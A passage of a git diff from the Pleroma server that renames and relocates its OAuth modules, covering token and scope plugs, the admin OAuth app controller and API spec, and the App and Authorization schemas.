:plug + + def init(%{scopes: _} = options), do: options + + @impl true + def perform(%Plug.Conn{assigns: assigns} = conn, %{scopes: scopes} = options) do + op = options[:op] || :| + token = assigns[:token] + + scopes = transform_scopes(scopes, options) + matched_scopes = (token && filter_descendants(scopes, token.scopes)) || [] + + cond do + token && op == :| && Enum.any?(matched_scopes) -> + conn + + token && op == :& && matched_scopes == scopes -> + conn + + options[:fallback] == :proceed_unauthenticated -> + drop_auth_info(conn) + + true -> + missing_scopes = scopes -- matched_scopes + permissions = Enum.join(missing_scopes, " #{op} ") + + error_message = + dgettext("errors", "Insufficient permissions: %{permissions}.", permissions: permissions) + + conn + |> put_resp_content_type("application/json") + |> send_resp(:forbidden, Jason.encode!(%{error: error_message})) + |> halt() + end + end + + @doc "Drops authentication info from connection" + def drop_auth_info(conn) do + # To simplify debugging, setting a private variable on `conn` if auth info is dropped + conn + |> put_private(:authentication_ignored, true) + |> assign(:user, nil) + |> assign(:token, nil) + end + + @doc "Keeps those of `scopes` which are descendants of `supported_scopes`" + def filter_descendants(scopes, supported_scopes) do + Enum.filter( + scopes, + fn scope -> + Enum.find( + supported_scopes, + &(scope == &1 || String.starts_with?(scope, &1 <> ":")) + ) + end + ) + end + + @doc "Transforms scopes by applying supported options (e.g. :admin)" + def transform_scopes(scopes, options) do + if options[:admin] do + Config.oauth_admin_scopes(scopes) + else + scopes + end + end +end diff --git a/lib/pleroma/plugs/oauth_plug.ex b/lib/pleroma/plugs/oauth_plug.ex deleted file mode 100644 index 6fa71ef47..000000000 --- a/lib/pleroma/plugs/oauth_plug.ex +++ /dev/null @@ -1,120 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.OAuthPlug do - import Plug.Conn - import Ecto.Query - - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.OAuth.App - alias Pleroma.Web.OAuth.Token - - @realm_reg Regex.compile!("Bearer\:?\s+(.*)$", "i") - - def init(options), do: options - - def call(%{assigns: %{user: %User{}}} = conn, _), do: conn - - def call(%{params: %{"access_token" => access_token}} = conn, _) do - with {:ok, user, token_record} <- fetch_user_and_token(access_token) do - conn - |> assign(:token, token_record) - |> assign(:user, user) - else - _ -> - # token found, but maybe only with app - with {:ok, app, token_record} <- fetch_app_and_token(access_token) do - conn - |> assign(:token, token_record) - |> assign(:app, app) - else - _ -> conn - end - end - end - - def call(conn, _) do - case fetch_token_str(conn) do - {:ok, token} -> - with {:ok, user, token_record} <- fetch_user_and_token(token) do - conn - |> assign(:token, token_record) - |> assign(:user, user) - else - _ -> - # token found, but maybe only with app - with {:ok, app, token_record} <- fetch_app_and_token(token) do - conn - |> assign(:token, token_record) - |> assign(:app, app) - else - _ -> conn - end - end - - _ -> - conn - end - end - - # Gets user by token - # - @spec fetch_user_and_token(String.t()) :: {:ok, User.t(), Token.t()} | nil - defp fetch_user_and_token(token) do - query = - from(t in Token, - where: t.token == ^token, - join: user in assoc(t, :user), - preload: [user: user] - ) - - # credo:disable-for-next-line Credo.Check.Readability.MaxLineLength - with %Token{user: user} = token_record <- Repo.one(query) do - {:ok, user, token_record} - end - end - - @spec fetch_app_and_token(String.t()) :: {:ok, App.t(), Token.t()} | nil - defp fetch_app_and_token(token) do - query = - from(t in Token, where: t.token == ^token, join: app in assoc(t, :app), preload: [app: app]) - - with %Token{app: app} = token_record <- Repo.one(query) do - {:ok, app, token_record} - end - end - - # Gets token from session by :oauth_token key - # - @spec fetch_token_from_session(Plug.Conn.t()) :: :no_token_found | {:ok, String.t()} - defp fetch_token_from_session(conn) do - case get_session(conn, :oauth_token) do - nil -> :no_token_found - token -> {:ok, token} - end - end - - # Gets token from headers - # - @spec fetch_token_str(Plug.Conn.t()) :: :no_token_found | {:ok, String.t()} - defp fetch_token_str(%Plug.Conn{} = conn) do - headers = get_req_header(conn, "authorization") - - with :no_token_found <- fetch_token_str(headers), - do: fetch_token_from_session(conn) - end - - @spec fetch_token_str(Keyword.t()) :: :no_token_found | {:ok, String.t()} - defp fetch_token_str([]), do: :no_token_found - - defp fetch_token_str([token | tail]) do - trimmed_token = String.trim(token) - - case Regex.run(@realm_reg, trimmed_token) do - [_, match] -> {:ok, String.trim(match)} - _ -> fetch_token_str(tail) - end - end -end diff --git a/lib/pleroma/plugs/oauth_scopes_plug.ex b/lib/pleroma/plugs/oauth_scopes_plug.ex deleted file mode 100644 index b1a736d78..000000000 --- a/lib/pleroma/plugs/oauth_scopes_plug.ex +++ /dev/null @@ -1,77 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.OAuthScopesPlug do - import Plug.Conn - import Pleroma.Web.Gettext - - alias Pleroma.Config - - use Pleroma.Web, :plug - - def init(%{scopes: _} = options), do: options - - @impl true - def perform(%Plug.Conn{assigns: assigns} = conn, %{scopes: scopes} = options) do - op = options[:op] || :| - token = assigns[:token] - - scopes = transform_scopes(scopes, options) - matched_scopes = (token && filter_descendants(scopes, token.scopes)) || [] - - cond do - token && op == :| && Enum.any?(matched_scopes) -> - conn - - token && op == :& && matched_scopes == scopes -> - conn - - options[:fallback] == :proceed_unauthenticated -> - drop_auth_info(conn) - - true -> - missing_scopes = scopes -- matched_scopes - permissions = Enum.join(missing_scopes, " #{op} ") - - error_message = - dgettext("errors", "Insufficient permissions: %{permissions}.", permissions: permissions) - - conn - |> put_resp_content_type("application/json") - |> send_resp(:forbidden, Jason.encode!(%{error: error_message})) - |> halt() - end - end - - @doc "Drops authentication info from connection" - def drop_auth_info(conn) do - # To simplify debugging, setting a private variable on `conn` if auth info is dropped - conn - |> put_private(:authentication_ignored, true) - |> assign(:user, nil) - |> assign(:token, nil) - end - - @doc "Keeps those of `scopes` which are descendants of `supported_scopes`" - def filter_descendants(scopes, supported_scopes) do - Enum.filter( - scopes, - fn scope -> - Enum.find( - supported_scopes, - &(scope == &1 || String.starts_with?(scope, &1 <> ":")) - ) - end - ) - end - - @doc "Transforms scopes by applying supported options (e.g. :admin)" - def transform_scopes(scopes, options) do - if options[:admin] do - Config.oauth_admin_scopes(scopes) - else - scopes - end - end -end diff --git a/lib/pleroma/web/admin_api/controllers/o_auth_app_controller.ex b/lib/pleroma/web/admin_api/controllers/o_auth_app_controller.ex new file mode 100644 index 000000000..dca23ea73 --- /dev/null +++ b/lib/pleroma/web/admin_api/controllers/o_auth_app_controller.ex @@ -0,0 +1,77 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.OAuthAppController do + use Pleroma.Web, :controller + + import Pleroma.Web.ControllerHelper, only: [json_response: 3] + + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.OAuth.App + + require Logger + + plug(Pleroma.Web.ApiSpec.CastAndValidate) + plug(:put_view, Pleroma.Web.MastodonAPI.AppView) + + plug( + OAuthScopesPlug, + %{scopes: ["write"], admin: true} + when action in [:create, :index, :update, :delete] + ) + + action_fallback(Pleroma.Web.AdminAPI.FallbackController) + + defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.Admin.OAuthAppOperation + + def index(conn, params) do + search_params = + params + |> Map.take([:client_id, :page, :page_size, :trusted]) + |> Map.put(:client_name, params[:name]) + + with {:ok, apps, count} <- App.search(search_params) do + render(conn, "index.json", + apps: apps, + count: count, + page_size: params.page_size, + admin: true + ) + end + end + + def create(%{body_params: params} = conn, _) do + params = Pleroma.Maps.put_if_present(params, :client_name, params[:name]) + + case App.create(params) do + {:ok, app} -> + render(conn, "show.json", app: app, admin: true) + + {:error, changeset} -> + json(conn, App.errors(changeset)) + end + end + + def update(%{body_params: params} = conn, %{id: id}) do + params = Pleroma.Maps.put_if_present(params, :client_name, params[:name]) + + with {:ok, app} <- App.update(id, params) do + render(conn, "show.json", app: app, admin: true) + else + {:error, changeset} -> + json(conn, App.errors(changeset)) + + nil -> + json_response(conn, :bad_request, "") + end + end + + def delete(conn, params) do + with {:ok, _app} <- App.destroy(params.id) do + json_response(conn, :no_content, "") + else + _ -> json_response(conn, :bad_request, "") + end + end +end diff --git a/lib/pleroma/web/admin_api/controllers/oauth_app_controller.ex b/lib/pleroma/web/admin_api/controllers/oauth_app_controller.ex deleted file mode 100644 index dca23ea73..000000000 --- a/lib/pleroma/web/admin_api/controllers/oauth_app_controller.ex +++ /dev/null @@ -1,77 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.OAuthAppController do - use Pleroma.Web, :controller - - import Pleroma.Web.ControllerHelper, only: [json_response: 3] - - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Web.OAuth.App - - require Logger - - plug(Pleroma.Web.ApiSpec.CastAndValidate) - plug(:put_view, Pleroma.Web.MastodonAPI.AppView) - - plug( - OAuthScopesPlug, - %{scopes: ["write"], admin: true} - when action in [:create, :index, :update, :delete] - ) - - action_fallback(Pleroma.Web.AdminAPI.FallbackController) - - defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.Admin.OAuthAppOperation - - def index(conn, params) do - search_params = - params - |> Map.take([:client_id, :page, :page_size, :trusted]) - |> Map.put(:client_name, params[:name]) - - with {:ok, apps, count} <- App.search(search_params) do - render(conn, "index.json", - apps: apps, - count: count, - page_size: params.page_size, - admin: true - ) - end - end - - def create(%{body_params: params} = conn, _) do - params = Pleroma.Maps.put_if_present(params, :client_name, params[:name]) - - case App.create(params) do - {:ok, app} -> - render(conn, "show.json", app: app, admin: true) - - {:error, changeset} -> - json(conn, App.errors(changeset)) - end - end - - def update(%{body_params: params} = conn, %{id: id}) do - params = Pleroma.Maps.put_if_present(params, :client_name, params[:name]) - - with {:ok, app} <- App.update(id, params) do - render(conn, "show.json", app: app, admin: true) - else - {:error, changeset} -> - json(conn, App.errors(changeset)) - - nil -> - json_response(conn, :bad_request, "") - end - end - - def delete(conn, params) do - with {:ok, _app} <- App.destroy(params.id) do - json_response(conn, :no_content, "") - else - _ -> json_response(conn, :bad_request, "") - end - end -end diff --git a/lib/pleroma/web/api_spec/operations/admin/o_auth_app_operation.ex b/lib/pleroma/web/api_spec/operations/admin/o_auth_app_operation.ex new file mode 100644 index 000000000..a75f3e622 --- /dev/null +++ b/lib/pleroma/web/api_spec/operations/admin/o_auth_app_operation.ex @@ -0,0 +1,217 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ApiSpec.Admin.OAuthAppOperation do + alias OpenApiSpex.Operation + alias OpenApiSpex.Schema + alias Pleroma.Web.ApiSpec.Schemas.ApiError + + import Pleroma.Web.ApiSpec.Helpers + + def open_api_operation(action) do + operation = String.to_existing_atom("#{action}_operation") + apply(__MODULE__, operation, []) + end + + def index_operation do + %Operation{ + summary: "List OAuth apps", + tags: ["Admin", "oAuth Apps"], + operationId: "AdminAPI.OAuthAppController.index", + security: [%{"oAuth" => ["write"]}], + parameters: [ + Operation.parameter(:name, :query, %Schema{type: :string}, "App name"), + Operation.parameter(:client_id, :query, %Schema{type: :string}, "Client ID"), + Operation.parameter(:page, :query, %Schema{type: :integer, default: 1}, "Page"), + Operation.parameter( + :trusted, + :query, + %Schema{type: :boolean, default: false}, + "Trusted apps" + ), + Operation.parameter( + :page_size, + :query, + %Schema{type: :integer, default: 50}, + "Number of apps to return" + ) + | admin_api_params() + ], + responses: %{ + 200 => + Operation.response("List of apps", "application/json", %Schema{ + type: :object, + properties: %{ + apps: %Schema{type: :array, items: oauth_app()}, + count: %Schema{type: :integer}, + page_size: %Schema{type: :integer} + }, + example: %{ + "apps" => [ + %{ + "id" => 1, + "name" => "App name", + "client_id" => "yHoDSiWYp5mPV6AfsaVOWjdOyt5PhWRiafi6MRd1lSk", + "client_secret" => "nLmis486Vqrv2o65eM9mLQx_m_4gH-Q6PcDpGIMl6FY", + "redirect_uri" => "https://example.com/oauth-callback", + "website" => "https://example.com", + "trusted" => true + } + ], + "count" => 1, + "page_size" => 50 + } + }) + } + } + end + + def create_operation do + %Operation{ + tags: ["Admin", "oAuth Apps"], + summary: "Create OAuth App", + operationId: "AdminAPI.OAuthAppController.create", + requestBody: request_body("Parameters", create_request()), + parameters: admin_api_params(), + security: [%{"oAuth" => ["write"]}], + responses: %{ + 200 => Operation.response("App", "application/json", oauth_app()), + 400 => Operation.response("Bad Request", "application/json", ApiError) + } + } + end + + def update_operation do + %Operation{ + tags: ["Admin", "oAuth Apps"], + summary: "Update OAuth App", + operationId: "AdminAPI.OAuthAppController.update", + parameters: [id_param() | admin_api_params()], + security: [%{"oAuth" => ["write"]}], + requestBody: request_body("Parameters", update_request()), + responses: %{ + 200 => Operation.response("App", "application/json", oauth_app()), + 400 => + Operation.response("Bad Request", "application/json", %Schema{ + oneOf: [ApiError, %Schema{type: :string}] + }) + } + } + end + + def delete_operation do + %Operation{ + tags: ["Admin", "oAuth Apps"], + summary: "Delete OAuth App", + operationId: "AdminAPI.OAuthAppController.delete", + parameters: [id_param() | admin_api_params()], + security: [%{"oAuth" => ["write"]}], + responses: %{ + 204 => no_content_response(), + 400 => no_content_response() + } + } + end + + defp create_request do + %Schema{ + title: "oAuthAppCreateRequest", + type: :object, + required: [:name, :redirect_uris], + properties: %{ + name: %Schema{type: :string, description: "Application Name"}, + scopes: %Schema{type: :array, items: %Schema{type: :string}, description: "oAuth scopes"}, + redirect_uris: %Schema{ + type: :string, + description: + "Where the user should be redirected after authorization. To display the authorization code to the user instead of redirecting to a web page, use `urn:ietf:wg:oauth:2.0:oob` in this parameter." + }, + website: %Schema{ + type: :string, + nullable: true, + description: "A URL to the homepage of the app" + }, + trusted: %Schema{ + type: :boolean, + nullable: true, + default: false, + description: "Is the app trusted?" + } + }, + example: %{ + "name" => "My App", + "redirect_uris" => "https://myapp.com/auth/callback", + "website" => "https://myapp.com/", + "scopes" => ["read", "write"], + "trusted" => true + } + } + end + + defp update_request do + %Schema{ + title: "oAuthAppUpdateRequest", + type: :object, + properties: %{ + name: %Schema{type: :string, description: "Application Name"}, + scopes: %Schema{type: :array, items: %Schema{type: :string}, description: "oAuth scopes"}, + redirect_uris: %Schema{ + type: :string, + description: + "Where the user should be redirected after authorization. To display the authorization code to the user instead of redirecting to a web page, use `urn:ietf:wg:oauth:2.0:oob` in this parameter." + }, + website: %Schema{ + type: :string, + nullable: true, + description: "A URL to the homepage of the app" + }, + trusted: %Schema{ + type: :boolean, + nullable: true, + default: false, + description: "Is the app trusted?" + } + }, + example: %{ + "name" => "My App", + "redirect_uris" => "https://myapp.com/auth/callback", + "website" => "https://myapp.com/", + "scopes" => ["read", "write"], + "trusted" => true + } + } + end + + defp oauth_app do + %Schema{ + title: "oAuthApp", + type: :object, + properties: %{ + id: %Schema{type: :integer}, + name: %Schema{type: :string}, + client_id: %Schema{type: :string}, + client_secret: %Schema{type: :string}, + redirect_uri: %Schema{type: :string}, + website: %Schema{type: :string, nullable: true}, + trusted: %Schema{type: :boolean} + }, + example: %{ + "id" => 123, + "name" => "My App", + "client_id" => "TWhM-tNSuncnqN7DBJmoyeLnk6K3iJJ71KKXxgL1hPM", + "client_secret" => "ZEaFUFmF0umgBX1qKJDjaU99Q31lDkOU8NutzTOoliw", + "redirect_uri" => "https://myapp.com/oauth-callback", + "website" => "https://myapp.com/", + "trusted" => false + } + } + end + + def id_param do + Operation.parameter(:id, :path, :integer, "App ID", + example: 1337, + required: true + ) + end +end diff --git a/lib/pleroma/web/api_spec/operations/admin/oauth_app_operation.ex b/lib/pleroma/web/api_spec/operations/admin/oauth_app_operation.ex deleted file mode 100644 index a75f3e622..000000000 --- a/lib/pleroma/web/api_spec/operations/admin/oauth_app_operation.ex +++ /dev/null @@ -1,217 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ApiSpec.Admin.OAuthAppOperation do - alias OpenApiSpex.Operation - alias OpenApiSpex.Schema - alias Pleroma.Web.ApiSpec.Schemas.ApiError - - import Pleroma.Web.ApiSpec.Helpers - - def open_api_operation(action) do - operation = String.to_existing_atom("#{action}_operation") - apply(__MODULE__, operation, []) - end - - def index_operation do - %Operation{ - summary: "List OAuth apps", - tags: ["Admin", "oAuth Apps"], - operationId: "AdminAPI.OAuthAppController.index", - security: [%{"oAuth" => ["write"]}], - parameters: [ - Operation.parameter(:name, :query, %Schema{type: :string}, "App name"), - Operation.parameter(:client_id, :query, %Schema{type: :string}, "Client ID"), - Operation.parameter(:page, :query, %Schema{type: :integer, default: 1}, "Page"), - Operation.parameter( - :trusted, - :query, - %Schema{type: :boolean, default: false}, - "Trusted apps" - ), - Operation.parameter( - :page_size, - :query, - %Schema{type: :integer, default: 50}, - "Number of apps to return" - ) - | admin_api_params() - ], - responses: %{ - 200 => - Operation.response("List of apps", "application/json", %Schema{ - type: :object, - properties: %{ - apps: %Schema{type: :array, items: oauth_app()}, - count: %Schema{type: :integer}, - page_size: %Schema{type: :integer} - }, - example: %{ - "apps" => [ - %{ - "id" => 1, - "name" => "App name", - "client_id" => "yHoDSiWYp5mPV6AfsaVOWjdOyt5PhWRiafi6MRd1lSk", - "client_secret" => "nLmis486Vqrv2o65eM9mLQx_m_4gH-Q6PcDpGIMl6FY", - "redirect_uri" => "https://example.com/oauth-callback", - "website" => "https://example.com", - "trusted" => true - } - ], - "count" => 1, - "page_size" => 50 - } - }) - } - } - end - - def create_operation do - %Operation{ - tags: ["Admin", "oAuth Apps"], - summary: "Create OAuth App", - operationId: "AdminAPI.OAuthAppController.create", - requestBody: request_body("Parameters", create_request()), - parameters: admin_api_params(), - security: [%{"oAuth" => ["write"]}], - responses: %{ - 200 => Operation.response("App", "application/json", oauth_app()), - 400 => Operation.response("Bad Request", "application/json", ApiError) - } - } - end - - def update_operation do - %Operation{ - tags: ["Admin", "oAuth Apps"], - summary: "Update OAuth App", - operationId: "AdminAPI.OAuthAppController.update", - parameters: [id_param() | admin_api_params()], - security: [%{"oAuth" => ["write"]}], - requestBody: request_body("Parameters", update_request()), - responses: %{ - 200 => Operation.response("App", "application/json", oauth_app()), - 400 => - Operation.response("Bad Request", "application/json", %Schema{ - oneOf: [ApiError, %Schema{type: :string}] - }) - } - } - end - - def delete_operation do - %Operation{ - tags: ["Admin", "oAuth Apps"], - summary: "Delete OAuth App", - operationId: "AdminAPI.OAuthAppController.delete", - parameters: [id_param() | admin_api_params()], - security: [%{"oAuth" => ["write"]}], - responses: %{ - 204 => no_content_response(), - 400 => no_content_response() - } - } - end - - defp create_request do - %Schema{ - title: "oAuthAppCreateRequest", - type: :object, - required: [:name, :redirect_uris], - properties: %{ - name: %Schema{type: :string, description: "Application Name"}, - scopes: %Schema{type: :array, items: %Schema{type: :string}, description: "oAuth scopes"}, - redirect_uris: %Schema{ - type: :string, - description: - "Where the user should be redirected after authorization. To display the authorization code to the user instead of redirecting to a web page, use `urn:ietf:wg:oauth:2.0:oob` in this parameter." - }, - website: %Schema{ - type: :string, - nullable: true, - description: "A URL to the homepage of the app" - }, - trusted: %Schema{ - type: :boolean, - nullable: true, - default: false, - description: "Is the app trusted?" - } - }, - example: %{ - "name" => "My App", - "redirect_uris" => "https://myapp.com/auth/callback", - "website" => "https://myapp.com/", - "scopes" => ["read", "write"], - "trusted" => true - } - } - end - - defp update_request do - %Schema{ - title: "oAuthAppUpdateRequest", - type: :object, - properties: %{ - name: %Schema{type: :string, description: "Application Name"}, - scopes: %Schema{type: :array, items: %Schema{type: :string}, description: "oAuth scopes"}, - redirect_uris: %Schema{ - type: :string, - description: - "Where the user should be redirected after authorization. To display the authorization code to the user instead of redirecting to a web page, use `urn:ietf:wg:oauth:2.0:oob` in this parameter." - }, - website: %Schema{ - type: :string, - nullable: true, - description: "A URL to the homepage of the app" - }, - trusted: %Schema{ - type: :boolean, - nullable: true, - default: false, - description: "Is the app trusted?" - } - }, - example: %{ - "name" => "My App", - "redirect_uris" => "https://myapp.com/auth/callback", - "website" => "https://myapp.com/", - "scopes" => ["read", "write"], - "trusted" => true - } - } - end - - defp oauth_app do - %Schema{ - title: "oAuthApp", - type: :object, - properties: %{ - id: %Schema{type: :integer}, - name: %Schema{type: :string}, - client_id: %Schema{type: :string}, - client_secret: %Schema{type: :string}, - redirect_uri: %Schema{type: :string}, - website: %Schema{type: :string, nullable: true}, - trusted: %Schema{type: :boolean} - }, - example: %{ - "id" => 123, - "name" => "My App", - "client_id" => "TWhM-tNSuncnqN7DBJmoyeLnk6K3iJJ71KKXxgL1hPM", - "client_secret" => "ZEaFUFmF0umgBX1qKJDjaU99Q31lDkOU8NutzTOoliw", - "redirect_uri" => "https://myapp.com/oauth-callback", - "website" => "https://myapp.com/", - "trusted" => false - } - } - end - - def id_param do - Operation.parameter(:id, :path, :integer, "App ID", - example: 1337, - required: true - ) - end -end diff --git a/lib/pleroma/web/o_auth.ex b/lib/pleroma/web/o_auth.ex new file mode 100644 index 000000000..2f1b8708d --- /dev/null +++ b/lib/pleroma/web/o_auth.ex @@ -0,0 +1,6 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth do +end diff --git a/lib/pleroma/web/o_auth/app.ex b/lib/pleroma/web/o_auth/app.ex new file mode 100644 index 000000000..df99472e1 --- /dev/null +++ b/lib/pleroma/web/o_auth/app.ex @@ -0,0 +1,149 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.App do + use Ecto.Schema + import Ecto.Changeset + import Ecto.Query + alias Pleroma.Repo + + @type t :: %__MODULE__{} + + schema "apps" do + field(:client_name, :string) + field(:redirect_uris, :string) + field(:scopes, {:array, :string}, default: []) + field(:website, :string) + field(:client_id, :string) + field(:client_secret, :string) + field(:trusted, :boolean, default: false) + + has_many(:oauth_authorizations, Pleroma.Web.OAuth.Authorization, on_delete: :delete_all) + has_many(:oauth_tokens, Pleroma.Web.OAuth.Token, on_delete: :delete_all) + + timestamps() + end + + @spec changeset(t(), map()) :: Ecto.Changeset.t() + def changeset(struct, params) do + cast(struct, params, [:client_name, :redirect_uris, :scopes, :website, :trusted]) + end + + @spec register_changeset(t(), map()) :: Ecto.Changeset.t() + def register_changeset(struct, params \\ %{}) do + changeset = + struct + |> changeset(params) + |> validate_required([:client_name, :redirect_uris, :scopes]) + + if changeset.valid? do + changeset + |> put_change( + :client_id, + :crypto.strong_rand_bytes(32) |> Base.url_encode64(padding: false) + ) + |> put_change( + :client_secret, + :crypto.strong_rand_bytes(32) |> Base.url_encode64(padding: false) + ) + else + changeset + end + end + + @spec create(map()) :: {:ok, t()} | {:error, Ecto.Changeset.t()} + def create(params) do + %__MODULE__{} + |> register_changeset(params) + |> Repo.insert() + end + + @spec update(pos_integer(), map()) :: {:ok, t()} | {:error, Ecto.Changeset.t()} + def update(id, params) do + with %__MODULE__{} = app <- Repo.get(__MODULE__, id) do + app + |> changeset(params) + |> Repo.update() + end + end + + @doc """ + Gets app by attrs or create new with attrs. + And updates the scopes if need. + """ + @spec get_or_make(map(), list(String.t())) :: {:ok, t()} | {:error, Ecto.Changeset.t()} + def get_or_make(attrs, scopes) do + with %__MODULE__{} = app <- Repo.get_by(__MODULE__, attrs) do + update_scopes(app, scopes) + else + _e -> + %__MODULE__{} + |> register_changeset(Map.put(attrs, :scopes, scopes)) + |> Repo.insert() + end + end + + defp update_scopes(%__MODULE__{} = app, []), do: {:ok, app} + defp update_scopes(%__MODULE__{scopes: scopes} = app, scopes), do: {:ok, app} + + defp update_scopes(%__MODULE__{} = app, scopes) do + app + |> change(%{scopes: scopes}) + |> Repo.update() + end + + @spec search(map()) :: {:ok, [t()], non_neg_integer()} + def search(params) do + query = from(a in __MODULE__) + + query = + if params[:client_name] do + from(a in query, where: a.client_name == ^params[:client_name]) + else + query + end + + query = + if params[:client_id] do + from(a in query, where: a.client_id == ^params[:client_id]) + else + query + end + + query = + if Map.has_key?(params, :trusted) do + from(a in query, where: a.trusted == ^params[:trusted]) + else + query + end + + query = + from(u in query, + limit: ^params[:page_size], + offset: ^((params[:page] - 1) * params[:page_size]) + ) + + count = Repo.aggregate(__MODULE__, :count, :id) + + {:ok, Repo.all(query), count} + end + + @spec destroy(pos_integer()) :: {:ok, t()} | {:error, Ecto.Changeset.t()} + def destroy(id) do + with %__MODULE__{} = app <- Repo.get(__MODULE__, id) do + Repo.delete(app) + end + end + + @spec errors(Ecto.Changeset.t()) :: map() + def errors(changeset) do + Enum.reduce(changeset.errors, %{}, fn + {:client_name, {error, _}}, acc -> + Map.put(acc, :name, error) + + {key, {error, _}}, acc -> + Map.put(acc, key, error) + end) + end +end diff --git a/lib/pleroma/web/o_auth/authorization.ex b/lib/pleroma/web/o_auth/authorization.ex new file mode 100644 index 000000000..268ee5b63 --- /dev/null +++ b/lib/pleroma/web/o_auth/authorization.ex @@ -0,0 +1,95 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.Authorization do + use Ecto.Schema + + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.OAuth.App + alias Pleroma.Web.OAuth.Authorization + + import Ecto.Changeset + import Ecto.Query + + @type t :: %__MODULE__{} + + schema "oauth_authorizations" do + field(:token, :string) + field(:scopes, {:array, :string}, default: []) + field(:valid_until, :naive_datetime_usec) + field(:used, :boolean, default: false) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) + belongs_to(:app, App) + + timestamps() + end + + @spec create_authorization(App.t(), User.t() | %{}, [String.t()] | nil) :: + {:ok, Authorization.t()} | {:error, Changeset.t()} + def create_authorization(%App{} = app, %User{} = user, scopes \\ nil) do + %{ + scopes: scopes || app.scopes, + user_id: user.id, + app_id: app.id + } + |> create_changeset() + |> Repo.insert() + end + + @spec create_changeset(map()) :: Changeset.t() + def create_changeset(attrs \\ %{}) do + %Authorization{} + |> cast(attrs, [:user_id, :app_id, :scopes, :valid_until]) + |> validate_required([:app_id, :scopes]) + |> add_token() + |> add_lifetime() + end + + defp add_token(changeset) do + token = :crypto.strong_rand_bytes(32) |> Base.url_encode64(padding: false) + put_change(changeset, :token, token) + end + + defp add_lifetime(changeset) do + put_change(changeset, :valid_until, NaiveDateTime.add(NaiveDateTime.utc_now(), 60 * 10)) + end + + @spec use_changeset(Authtorizatiton.t(), map()) :: Changeset.t() + def use_changeset(%Authorization{} = auth, params) do + auth + |> cast(params, [:used]) + |> validate_required([:used]) + end + + @spec use_token(Authorization.t()) :: + {:ok, Authorization.t()} | {:error, Changeset.t()} | {:error, String.t()} + def use_token(%Authorization{used: false, valid_until: valid_until} = auth) do + if NaiveDateTime.diff(NaiveDateTime.utc_now(), valid_until) < 0 do + Repo.update(use_changeset(auth, %{used: true})) + else + {:error, "token expired"} + end + end + + def use_token(%Authorization{used: true}), do: {:error, "already used"} + + @spec delete_user_authorizations(User.t()) :: {integer(), any()} + def delete_user_authorizations(%User{} = user) do + user + |> delete_by_user_query + |> Repo.delete_all() + end + + def delete_by_user_query(%User{id: user_id}) do + from(a in __MODULE__, where: a.user_id == ^user_id) + end + + @doc "gets auth for app by token" + @spec get_by_token(App.t(), String.t()) :: {:ok, t()} | {:error, :not_found} + def get_by_token(%App{id: app_id} = _app, token) do + from(t in __MODULE__, where: t.app_id == ^app_id and t.token == ^token) + |> Repo.find_resource() + end +end diff --git a/lib/pleroma/web/o_auth/fallback_controller.ex b/lib/pleroma/web/o_auth/fallback_controller.ex new file mode 100644 index 000000000..a89ced886 --- /dev/null +++ b/lib/pleroma/web/o_auth/fallback_controller.ex @@ -0,0 +1,32 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.FallbackController do + use Pleroma.Web, :controller + alias Pleroma.Web.OAuth.OAuthController + + def call(conn, {:register, :generic_error}) do + conn + |> put_status(:internal_server_error) + |> put_flash( + :error, + dgettext("errors", "Unknown error, please check the details and try again.") + ) + |> OAuthController.registration_details(conn.params) + end + + def call(conn, {:register, _error}) do + conn + |> put_status(:unauthorized) + |> put_flash(:error, dgettext("errors", "Invalid Username/Password")) + |> OAuthController.registration_details(conn.params) + end + + def call(conn, _error) do + conn + |> put_status(:unauthorized) + |> put_flash(:error, dgettext("errors", "Invalid Username/Password")) + |> OAuthController.authorize(conn.params) + end +end diff --git a/lib/pleroma/web/o_auth/mfa_controller.ex b/lib/pleroma/web/o_auth/mfa_controller.ex new file mode 100644 index 000000000..f102c93e7 --- /dev/null +++ b/lib/pleroma/web/o_auth/mfa_controller.ex @@ -0,0 +1,98 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.MFAController do + @moduledoc """ + The model represents api to use Multi Factor authentications. + """ + + use Pleroma.Web, :controller + + alias Pleroma.MFA + alias Pleroma.Web.Auth.TOTPAuthenticator + 